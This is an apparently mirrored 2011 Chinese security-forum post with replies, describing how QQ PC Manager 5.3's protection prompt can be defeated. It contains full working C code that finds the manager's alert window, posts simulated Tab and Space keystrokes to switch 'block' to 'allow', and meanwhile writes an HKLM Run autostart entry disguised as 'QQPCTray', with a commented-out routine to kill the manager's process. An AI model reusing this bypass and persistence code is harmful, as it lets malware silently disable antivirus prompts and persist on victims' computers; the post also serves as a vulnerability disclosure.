返回信息流话说昨天去某个地方帮人看银行软件冲突,也真是够诡异,发现那个人的电脑上装了360安全卫士+杀毒,金山杀毒,QQ软件管家,然后一旦支付银行业务,浏览器会崩掉,弹框是XX不可读。于是乎先是OD了下,怀疑是QQ,再继续把QQ的插件在浏览器中设置禁用,再运行就好了。不过在之前的简单分析过程中发现QQ电脑貌似具有监控作用,再后来我在客户那里开了个IS发现还是带驱动的,肃然起敬啊。介于那个时候别人的电脑不好过多操作,于是回来之后想好好看看。
QQ的驱动级HOOK还是非常常规的,在SSDT上,什么进程防杀的(NtOpenProcess+NtTerminateProcess),线程防杀放冻结的(NtOpenThread+NtSuspendThread),保护文件的(NtCreateFile+NtSetInformationFile),以及注册表防护的相关函数加上内存保护的,当然还有和重要的驱动加载(NtLoadDriver+NtSetSystemInformation)。另外一些特殊攻击手段,如NtDuplicateObject,NtRequestWaitReplyPort,NtCreateSection都做了。然后窗口保护(Shadow SSDT)也不错,从函数上看什么洪水攻击一类地肯定是无效的了,枚举窗口信息的那一堆相关函数也是不行的。
于是感叹现在的杀毒做得都挺邪恶了,门槛已经提高了很多了。不过转念一想,貌似TX没说过做杀毒吧,虽然这个软件和杀毒差不大多,也有很多监控机制和优化机制,当个360另类版,不过后来认真看了下发现,似乎QQ电脑管家的防御机制还是不乐观。下面我来简单说说问题。
如果我执行一些危险的操作,例如杀死QQPCMgr.exe的进程或者是干掉其自启动注册表,毫无疑问肯定会被拦截掉。所述效果如下:
不过我感觉QQ这点上做得似乎“仁慈”了那么一点,其实有的行为是不值得同情的。或者这点上360的反复提示有时候还是一件好事,原因后面解释。
还有一个灰常致命的问题就是不知道QQ的驱动是不是有缺陷,似乎窗口不能枚举到,相关窗口的子窗口也不能,不过WIN32下函数众多,事实上还是有办法地,就GetWindow和GetNextWindow还是可以枚举到外层窗口,例如SPY++就可以:
而且最糟糕的是,它居然接收PostMessage消息。我记得大概2009年10月的时候,瑞星当时也是这个情况,而且选项齐全,不过那时候瑞星没有Shadow SSDT HOOK,所以说可以很邪恶的直接模拟消息机制那个绕过去,反正就是点个“是”嘛,你自己帮用户点了就是了。我后来键盘上实验了一下,直接按3个Tab,加一个空格就可以将“阻止”改为“允许”,嗯:
PostMessage(hQQMgrWnd,WM_KEYDOWN,VK_TAB,NULL);
PostMessage(hQQMgrWnd,WM_KEYDOWN,VK_TAB,NULL);
PostMessage(hQQMgrWnd,WM_KEYDOWN,VK_TAB,NULL);
PostMessage(hQQMgrWnd,WM_KEYDOWN,VK_SPACE,NULL);
但是还有个问题,虽然这个情况存在,怎么利用呢?因为,如果我们在函数里面一旦写了带有攻击性质的代码,肯定会被拦截下来,然后就等于说是暴漏了攻击。我相信以前编过驱动主防的人肯定知道,我们一般拦截函数都是拦截访问它的线程,当然知道了线程也可以知道是哪个进程,不过事实上阻塞貌似很少有人会去阻塞其进程,而都是线程。当然如果说你的程序是个简单的C程序连个线程都没有加,那就是一个线程——主线程,如果它被阻塞了且你就一个线程,效果和进程阻塞了其实差不多。
如果知道这个,就可以利用我们学的多线程编程来解决这个问题,大致思路就是,我在程序运行时(主线程)启动一个监控线程A,然后主线程干坏事故意被“逮”引出交互窗口,然后A发现交互窗口之后那个直接“做掉”它,这样主线程的恶意行为就等于放行了。⊙﹏⊙,有点扯吧。代码如下,时间太晚了,我就胡乱写了,优化不足,但是效果倒是测试过了:
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
DWORD GetProcessId(char *ProcessName);
DWORD COUNT = 7;
//通过窗口操作过杀软提示框的线程
DWORD WINAPI Thread_PassWindow(LPVOID para)
{
HANDLE *phEvent = (HANDLE*)para;
int iCont = 0;
do //找7次,每次休息1秒,自己设的,当然估计要做好肯定比这个复杂很多
{
HWND hWnd;
char buffer[MAX_PATH];
//开始遍历窗口
hWnd = GetWindow(GetDesktopWindow(),GW_CHILD);
while( hWnd != NULL )
{
ZeroMemory( buffer, MAX_PATH);
GetClassName( hWnd, buffer, MAX_PATH);
if( strstr( buffer, "TXGuiFoundation") )
{
HWND hAVPWnd = hWnd;
HWND hQQMgrWnd = hWnd;
//模拟控制按键
PostMessage(hQQMgrWnd,WM_KEYDOWN,VK_TAB,NULL);
PostMessage(hQQMgrWnd,WM_KEYDOWN,VK_TAB,NULL);
PostMessage(hQQMgrWnd,WM_KEYDOWN,VK_TAB,NULL);
PostMessage(hQQMgrWnd,WM_KEYDOWN,VK_SPACE,NULL);
printf("hQQMgrWnd=%0.8X\n",hQQMgrWnd);
printf("监控线程找到QQ电脑管家窗口...\n\n");
}
hWnd = GetNextWindow( hWnd, GW_HWNDNEXT);
}//完成一次遍历窗口
Sleep(1000);
iCont++;
}while(iCont < COUNT);
end:
printf("设置事件消息...\n\n");
SetEvent(*phEvent);
printf("监控线程退出...\n\n");
return 0;
}
int main(int argc, char* argv[])
{
//创建并且初始化事件
printf("主线程开始运行...\n\n");
HANDLE hEventPass;
hEventPass = CreateEvent(NULL,FALSE,FALSE,NULL);
//创建绕过窗口的线程
printf("创建监控窗口情况的线程...\n\n");
CreateThread(NULL,0,Thread_PassWindow,&hEventPass,0,NULL);
Sleep(500);
//执行威胁操作,这里就是结束掉QQPCMgr.exe进程
/* printf("主线程开始执行威胁操作,攻击QQPCMgr.exe进程...\n\n");
DWORD dwQQMgrPid = 0;
dwQQMgrPid = GetProcessId("QQPCMgr.exe");
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwQQMgrPid);
printf("QQPCMgr.exe PID=%d Handle=%0.8X\n\n",dwQQMgrPid,hProc);
TerminateProcess(hProc,0); */
//将QQPCMgr.exe的启动项改为自己的路径,这肯定是一级威胁了
DWORD dwDisposition;
HKEY hKey;
char filepath[MAX_PATH]={'\0'};
GetModuleFileName(NULL,filepath,MAX_PATH);
if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\windows\\CurrentVersion\\Run\\",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) == ERROR_SUCCESS)
if (RegSetValueEx(hKey," QQPCTray",0,REG_SZ,(LPBYTE)filepath,strlen(filepath)+1) == ERROR_SUCCESS)
printf("自启动设置成功!!!\n\n");
//等待直到线程运行结束
WaitForSingleObject(hEventPass,INFINITE);
printf("本程序结束...\n\n");
system("pause");
return 0;
}
//由进程名称找到对应的PID
DWORD GetProcessId(char *ProcessName)
{
PROCESSENTRY32 pe32;
pe32.dwSize=sizeof(pe32);
//获得系统内所有进程快照
HANDLE hProcessessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessessSnap==INVALID_HANDLE_VALUE)
{
return FALSE;
}
//枚举列表中的第一个进程
BOOL bProcess=Process32First(hProcessessSnap,&pe32);
while(bProcess)
{
//比较得到的进程名和要保护的进程名是否相同
if(stricmp(pe32.szExeFile,ProcessName)==0)
{
//相同则返回此进程ID
return pe32.th32ProcessID;
}
bProcess=Process32Next(hProcessessSnap,&pe32);
}
CloseHandle(hProcessessSnap);
//否则返回0
return 0;
}
窗口效果,貌似和想象有点出入,窗口不止一个,不过不管了,=_=困了,就那样吧:
最后测试情况:
我的测试版本是QQ电脑管家5.3,貌似最新版,我想下次新版估计应该就好了吧。。。还有,大神勿拍[em17],顺便祝大家节日快乐哈,呵呵。。。
这是一条镜像帖。来源:北邮人论坛 / security / #32762同步于 2011/8/5
该镜像源已超过 30 天没有更新,可能在源站已被删除。
Security机器人发帖
QQ电脑管家简单绕过
ColdZenLeft
2011/8/5镜像同步7 回复
订阅后,新回复会通过你的通知中心匿名送达。
7 条回复
【 在 yangmao1991 的大作中提到: 】
: 楼主大牛啊,写一大堆看得不大懂……能问下你的安全组合吗?
: --
哎,就一个360而已,其实你看注册表就能看出来的。安全软件还是可以组合着用,一般你可以360安全卫士搭配一个杀软(钩子位置不同而且可以互补的)。。。
QQ管家还是不错的,据说用它还可以加速QQ升级呢,不过没去验证,
说来如果QQ管家把那个问题解决了传统手段就估计不多了,那个应该不难的,但是不管的话就致命了,估计下个版本就好了。。。
⊙﹏⊙b其实我才睡起来,那个代码其实也写得乱七八糟的,没有优化。大意就是:
1、main函数中启动一个监控窗口类名的线程,发现QQ软件管家的就发那个消息关闭它(其实这个很不科学,有点就事论事的意思)。
2、然后main中故意写恶意代码引出管家的消息窗口,虽然main(主线程)被QQ主防卡死了,但是之前的线程还在(编程者一般不会卡一个进程而无非就是操作线程,编过主防类代码的童鞋都知道的)
3、最后监控线程控制QQ管家窗口选择为“通过”,然后监控线程退出,主线程的恶意代码就等于是运作了
多线程玩的小花招而已,代码写烂了,我现在看起来都头晕。